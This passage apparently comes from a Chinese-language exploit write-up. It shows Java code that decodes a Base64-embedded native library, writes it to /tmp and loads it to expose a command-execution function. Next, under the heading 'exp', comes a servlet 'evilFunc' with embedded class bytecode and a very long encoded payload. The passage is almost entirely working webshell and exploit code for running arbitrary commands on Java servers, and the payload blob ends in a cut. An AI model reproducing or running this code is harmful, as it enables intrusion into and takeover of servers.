AAAAAAgAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAFgEAAAEAAAAwAAAAAAAAAAAAAAAAAAAAkDAAAAAAAAArAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAAMAwAAAAAAAAwAYAAAAAAAAdAAAANAAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAAAAAAAAAAAAAAAAAAAACANwAAAAAAAHoEAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAA+jsAAAAAAAAfAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA==";
public static native String exec(String cmd);
static {
byte[] decode = Base64.getDecoder().decode(s.getBytes());
FileOutputStream fos = null;
try {
fos = new FileOutputStream("/tmp/output.bin");
} catch (FileNotFoundException e) {
throw new RuntimeException(e);
}
try {
fos.write(decode);
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
fos.close();
} catch (IOException e) {
throw new RuntimeException(e);
}
System.load("/tmp/output.bin");
}
}

下面直接给出 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 public void evilFunc(HttpServletRequest request, HttpServletResponse response) throws Exception {
// 默认的类名和类的字节码,便于测试
String COMMAND_CLASS_NAME = "com.just.MyCommand";
String COMMAND_CLASS_BYTE_ENCODE = "yv66vgAAADQAUwoAEQAtCgAuAC8HADAIADEKADIAMwoANAA1BwA2CAA3CgAHADgHADkHADoKAAsAOwoABwA8BwA9CgAHAD4KAD8AQAcAQQEAAXMBABJMamF2YS9sYW5nL1N0cmluZzsBAA1Db25zdGFudFZhbHVlAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABRMY29tL2p1c3QvTXlDb21tYW5kOwEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACDxjbGluaXQ+AQABZQEAH0xqYXZhL2lvL0ZpbGVOb3RGb3VuZEV4Y2VwdGlvbjsBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAZkZWNvZGUBAAJbQgEAA2ZvcwEAGkxqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW07AQANU3RhY2tNYXBUYWJsZQcAIwcANgcAOQcAPQEAClNvdXJjZUZpbGUBAA5NeUNvbW1hbmQuamF2YQwAFQAWBwBCDABDAEYBABJjb20vanVzdC9NeUNvbW1hbmQBW9hmMFZNUmdJQkFRQUFBQUFBQUFBQUFBTUFQZ0FCQUFBQTRCRUFBQUFBQUFCQUFBQUFBQUFBQUNBOUFBQUFBQUFBQUFBQUFFQUFPQUFMQUVBQUh3QWVBQUVBQUFBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQW1Bb0FBQUFBQUFDWUNnQUFBQUFBQUFBUUFBQUFBQUFBQVFBQUFBVUFBQUFBRUFBQUFBQUFBQUFRQUFBQUFBQUFBQkFBQUFBQUFBRDFCQUFBQUFBQUFQVUVBQUFBQUFBQUFCQUFBQUFBQUFBQkFBQUFCQUFBQUFBZ0FBQUFBQUFBQUNBQUFBQUFBQUFBSUFBQUFBQUFBSjhCQUFBQUFBQUFud0VBQUFBQUFBQUFFQUFBQUFBQUFBRUFBQUFHQUFBQTRDMEFBQUFBQUFEZ1BRQUFBQUFBQU9BOUFBQUFBQUFBc0FJQUFBQUFBQUM0QWdBQUFBQUFBQUFRQUFBQUFBQUFBZ0FBQUFZQUFBRDRMUUFBQUFBQUFQZzlBQUFBQUFBQStEMEFBQUFBQUFEZ0FRQUFBQUFBQU9BQkFBQUFBQUFBQ0FBQUFBQUFBQUFFQUFBQUJBQUFBS2dDQUFBQUFBQUFxQUlBQUFBQUFBQ29BZ0FBQUFBQUFDQUFBQUFBQUFBQUlBQUFBQUFBQUFBSUFBQUFBQUFBQUFRQUFBQUVBQUFBeUFJQUFBQUFBQURJQWdBQUFBQUFBTWdDQUFBQUFBQUFKQUFBQUFBQUFBQWtBQUFBQUFBQUFBUUFBQUFBQUFBQVUrVjBaQVFBQUFDb0FnQUFBQUFBQUtnQ0FBQUFBQUFBcUFJQUFBQUFBQUFnQUFBQUFBQUFBQ0FBQUFBQUFBQUFDQUFBQUFBQUFBQlE1WFJrQkFBQUFBUWdBQUFBQUFBQUJDQUFBQUFBQUFBRUlBQUFBQUFBQUV3QUFBQUFBQUFBVEFBQUFBQUFBQUFFQUFBQUFBQUFBRkhsZEdRR0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBVXVWMFpBUUFBQURnTFFBQUFBQUFBT0E5QUFBQUFBQUE0RDBBQUFBQUFBQWdBZ0FBQUFBQUFDQUNBQUFBQUFBQUFRQUFBQUFBQUFBRUFBQUFFQUFBQUFVQUFBQkhUbFVBQWdBQXdBUUFBQUFEQUFBQUFBQUFBQVFBQUFBVUFBQUFBd0FBQUVkT1ZRREVZWk5SekZYYWtQUzIrMXZJVGtPSDExV2RPQUFBQUFBREFBQUFFZ0FBQUFFQUFBQUdBQUFBQkFBQUFCQkFCUVFTQUFBQUFBQUFBQUFBQUFDd1RqMktndHQwdERQWmZiSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDOEFBQUFFZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJGQVFBQUVnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkdBQUFBSWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDRUFRQUFFZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFqQWdBQUVnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNBUUFBRWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFETkFRQUFFZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQURDQUFBQUVnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQStBUUFBRWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFEekFRQUFFZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUQ4QUFBQUVnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRGVBUUFBRWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUMrQVFBQUVnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFBSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBc0FBQUFJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFMQWdBQUVnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQnpBQUFBSWdBT0FLZ1VBQUFBQUFBQVBRQUFBQUFBQUFCVkFBQUFJZ0FPQUhRVUFBQUFBQUFBTkFBQUFBQUFBQUNmQUFBQUVnQU9BSmtTQUFBQUFBQUFkQUVBQUFBQUFBQUFYMTluYlc5dVgzTjBZWEowWDE4QVgwbFVUVjlrWlhKbFoybHpkR1Z5VkUxRGJHOXVaVlJoWW14bEFGOUpWRTFmY21WbmFYTjBaWEpVVFVOc2IyNWxWR0ZpYkdVQVgxOWplR0ZmWm1sdVlXeHBlbVVBWDFwT04wcE9TVVZ1ZGw4eE1rNWxkMU4wY21sdVoxVlVSa1ZRUzJNQVgxcE9OMHBPU1VWdWRsOHhOMGRsZEZOMGNtbHVaMVZVUmtOb1lYSnpSVkE0WDJwemRISnBibWRRYUFCS1lYWmhYMk52YlY5cWRYTjBYMDE1UTI5dGJXRnVaRjlsZUdWakFIQnZjR1Z1QUY5YVRsTjBOMTlmWTNoNE1URXhNbUpoYzJsalgzTjBjbWx1WjBsalUzUXhNV05vWVhKZmRISmhhWFJ6U1dORlUyRkpZMFZGUXpGRmRnQm1aMlYwY3dCZldrNVRkRGRmWDJONGVERXhNVEppWVhOcFkxOXpkSEpwYm1kSlkxTjBNVEZqYUdGeVgzUnlZV2wwYzBsalJWTmhTV05GUlhCTVJWQkxZd0J3WTJ4dmMyVUFYMXBPUzFOME4xOWZZM2g0TVRFeE1tSmhjMmxqWDNOMGNtbHVaMGxqVTNReE1XTm9ZWEpmZEhKaGFYUnpTV05GVTJGSlkwVkZOV05mYzNSeVJYWUFYMXBPVTNRM1gxOWplSGd4TVRFeVltRnphV05mYzNSeWFXNW5TV05UZERFeFkyaGhjbDkwY21GcGRITkpZMFZUWVVsalJVVkVNVVYyQUY5VmJuZHBibVJmVW1WemRXMWxBRjlmYzNSaFkydGZZMmhyWDJaaGFXd0FYMTluZUhoZmNHVnljMjl1WVd4cGRIbGZkakFBWDFwT1UzUTRhVzl6WDJKaGMyVTBTVzVwZEVNeFJYWUFYMXBPVTNRNGFXOXpYMkpoYzJVMFNXNXBkRVF4UlhZQVgxOWplR0ZmWVhSbGVHbDBBR3hwWW5OMFpHTXJLeTV6Ynk0MkFHeHBZbWRqWTE5ekxuTnZMakVBYkdsaVl5NXpieTQyQUVkRFExOHpMakFBUTFoWVFVSkpYekV1TXdCSFRFbENRMWhZWHpNdU5BQkhURWxDUTFoWVh6TXVOQzR5TVFCSFRFbENRMTh5TGpRQVIweEpRa05mTWk0eUxqVUFBQUFBQWdBREFBSUFBd0FDQUFNQUJBQURBQUlBQlFBQ0FBWUFBQUFIQUFBQUFBQUZBQUVBQVFBQkFBQUFBUUFCQUQ4Q0FBQVFBQUFBSUFBQUFGQW1lUXNBQUFjQVZ3SUFBQUFBQUFBQkFBTUFNQUlBQUJBQUFBQkFBQUFBMDY5ckJRQUFCZ0JmQWdBQUVBQUFBSFFwa2dnQUFBVUFhZ0lBQUJBQUFBQngrSmNDQUFBREFIWUNBQUFBQUFBQUFRQUNBRTBDQUFBUUFBQUFBQUFBQUJScGFRMEFBQVFBaFFJQUFCQUFBQUIxR21rSkFBQUNBSThDQUFBQUFBQUE0RDBBQUFBQUFBQUlBQUFBQUFBQUFKQVNBQUFBQUFBQTZEMEFBQUFBQUFBSUFBQUFBQUFBQUZvVUFBQUFBQUFBOEQwQUFBQUFBQUFJQUFBQUFBQUFBRkFTQUFBQUFBQUFnRUFBQUFBQUFBQUlBQUFBQUFBQUFJQkFBQUFBQUFBQTJEOEFBQUFBQUFBR0FBQUFBd0FBQUFBQUFBQUFBQUFBNEQ4QUFBQUFBQUFHQUFBQURRQUFBQUFBQUFBQUFBQUE2RDhBQUFBQUFBQUdBQUFBRHdBQUFBQUFBQUFBQUFBQThEOEFBQUFBQUFBR0FBQUFFQUFBQUFBQUFBQUFBQUFBK0Q4QUFBQUFBQUFHQUFBQUVRQUFBQUFBQUFBQUFBQUFpRUFBQUFBQUFBQUJBQUFBREFBQUFBQUFBQUFBQUFBQUdFQUFBQUFBQUFBSEFBQUFBUUFBQUFBQUFBQUFBQUFBSUVBQUFBQUFBQUFIQUFBQUFnQUFBQUFBQUFBQUFBQUFLRUFBQUFBQUFBQUhBQUFBQkFBQUFBQUFBQUFBQUFBQU1FQUFBQUFBQUFBSEFBQUFFZ0FBQUFBQUFBQUFBQUFBT0VBQUFBQUFBQUFIQUFBQUJRQUFBQUFBQUFBQUFBQUFRRUFBQUFBQUFBQUhBQUFBQmdBQUFBQUFBQUFBQUFBQVNFQUFBQUFBQUFBSEFBQUFCd0FBQUFBQUFBQUFBQUFBVUVBQUFBQUFBQUFIQUFBQUNBQUFBQUFBQUFBQUFBQUFXRUFBQUFBQUFBQUhBQUFBQ1FBQUFBQUFBQUFBQUFBQVlFQUFBQUFBQUFBSEFBQUFDZ0FBQUFBQUFBQUFBQUFBYUVBQUFBQUFBQUFIQUFBQUN3QUFBQUFBQUFBQUFBQUFjRUFBQUFBQUFBQUhBQUFBRGdBQUFBQUFBQUFBQUFBQWVFQUFBQUFBQUFBSEFBQUFFd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUE1QSHZwSWcrd0lTSXNGMlM4QUFFaUZ3SFFDLzlCSWc4UUl3d0FBQUFBQS96WGlMd0FBOHY4bDR5OEFBQThmQVBNUEh2cG9BQUFBQVBMcDRmLy8vNUR6RHg3NmFBRUFBQUR5NmRILy8vK1E4dzhlK21nQ0FBQUE4dW5CLy8vL2tQTVBIdnBvQXdBQUFQTHBzZi8vLzVEekR4NzZhQVFBQUFEeTZhSC8vLytROHc4ZSttZ0ZBQUFBOHVtUi8vLy9rUE1QSHZwb0JnQUFBUExwZ2YvLy81RHpEeDc2YUFjQUFBRHk2WEgvLy8rUTh3OGUrbWdJQUFBQTh1bGgvLy8va1BNUEh2cG9DUUFBQVBMcFVmLy8vNUR6RHg3NmFBb0FBQUR5NlVILy8vK1E4dzhlK21nTEFBQUE4dWt4Ly8vL2tQTVBIdnBvREFBQUFQTHBJZi8vLzVEekR4NzY4djhselM0QUFBOGZSQUFBOHc4ZSt2TC9KZjB1QUFBUEgwUUFBUE1QSHZyeS95WDFMZ0FBRHg5RUFBRHpEeDc2OHY4bDdTNEFBQThmUkFBQTh3OGUrdkwvSmVVdUFBQVBIMFFBQVBNUEh2cnkveVhkTGdBQUR4OUVBQUR6RHg3Njh2OGwxUzRBQUE4ZlJBQUE4dzhlK3ZML0pjMHVBQUFQSDBRQUFQTVBIdnJ5L3lYRkxnQUFEeDlFQUFEekR4NzY4djhsdlM0QUFBOGZSQUFBOHc4ZSt2TC9KYlV1QUFBUEgwUUFBUE1QSHZyeS95V3RMZ0FBRHg5RUFBRHpEeDc2OHY4bHBTNEFBQThmUkFBQTh3OGUrdkwvSlowdUFBQVBIMFFBQUVpTlBha3VBQUJJalFXaUxnQUFTRG40ZEJWSWl3WG1MUUFBU0lYQWRBbi80QThmZ0FBQUFBREREeCtBQUFBQUFFaU5QWGt1QUFCSWpUVnlMZ0FBU0NuK1NJbndTTUh1UDBqQitBTklBY1pJMGY1MEZFaUxCYlV0QUFCSWhjQjBDUC9nWmc4ZlJBQUF3dzhmZ0FBQUFBRHpEeDc2Z0QwMUxnQUFBSFVyVlVpRFBYSXRBQUFBU0lubGRBeElpejBPTGdBQTZJbisvLy9vWlAvLy84WUZEUzRBQUFGZHd3OGZBTU1QSDRBQUFBQUE4dzhlK3VsMy8vLy84dzhlK2xWSWllVlRTSUhzK0FBQUFFaUp2UmovLy85SWliVVEvLy8vU0ltVkNQLy8vMlJJaXdRbEtBQUFBRWlKUmVneHdFaUR2UWovLy84QUQ0VHBBQUFBU0kyVkwvLy8vMGlMalFqLy8vOUlpNFVZLy8vL1NJbk9TSW5INkVYKy8vOUlpWVV3Ly8vL1NJdUZNUC8vLzBpTk5mRU1BQUJJaWNmbytQMy8vMGlKaFRqLy8vOUlnNzA0Ly8vL0FBK0Vsd0FBQUVpTmhVRC8vLzlJaWNmb1JQNy8vMGlMbFRqLy8vOUlqWVZnLy8vL3ZvQUFBQUJJaWNmb1dmNy8vMGlGd0ErVndJVEFkQnRJalpWZy8vLy9TSTJGUVAvLy8waUoxa2lKeCtqbS9mLy82OEJJaTRVNC8vLy9TSW5INkFYKy8vOUlqWVZBLy8vL1NJbkg2SWI5Ly85SWljSklpNFVZLy8vL1NJbldTSW5INkNIKy8vOUlpY09RU0kyRlFQLy8vMGlKeCtodS9mLy82d1c3QUFBQUFFaUoyRWlMVGVoa1NETU1KU2dBQUFCMEtPc2g4dzhlK2tpSncwaU5oVUQvLy85SWljZm9QZjMvLzBpSjJFaUp4K2pDL2YvLzZHMzkvLzlJZ2NUNEFBQUFXMTNEOHc4ZStsVklpZVZJZyt3UWlYMzhpWFg0ZzMzOEFYVXlnWDM0Ly84QUFIVXBTSTA5WEN3QUFPaG0vZi8vU0kwVlB5d0FBRWlOTlVrc0FBQklpd1dwS3dBQVNJbkg2UG44Ly8rUXljUHpEeDc2VlVpSjViNy8vd0FBdndFQUFBRG9uUC8vLzEzRGtQTVBIdnBWU0lubFNJUHNFRWlKZmZoSWlYWHdTSXRGK0VpTEFFaUxpRGdGQUFCSWkxWHdTSXRGK0VpSjFraUp4Ly9SeWNQekR4NzZWVWlKNVVpRDdDQklpWDM0U0lsMThFaUpWZWhJaTBYNFNJc0FUSXVBU0FVQUFFaUxWZWhJaTAzd1NJdEYrRWlKemtpSngwSC8wTW5EQUFBQTh3OGUra2lEN0FoSWc4UUl3d0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ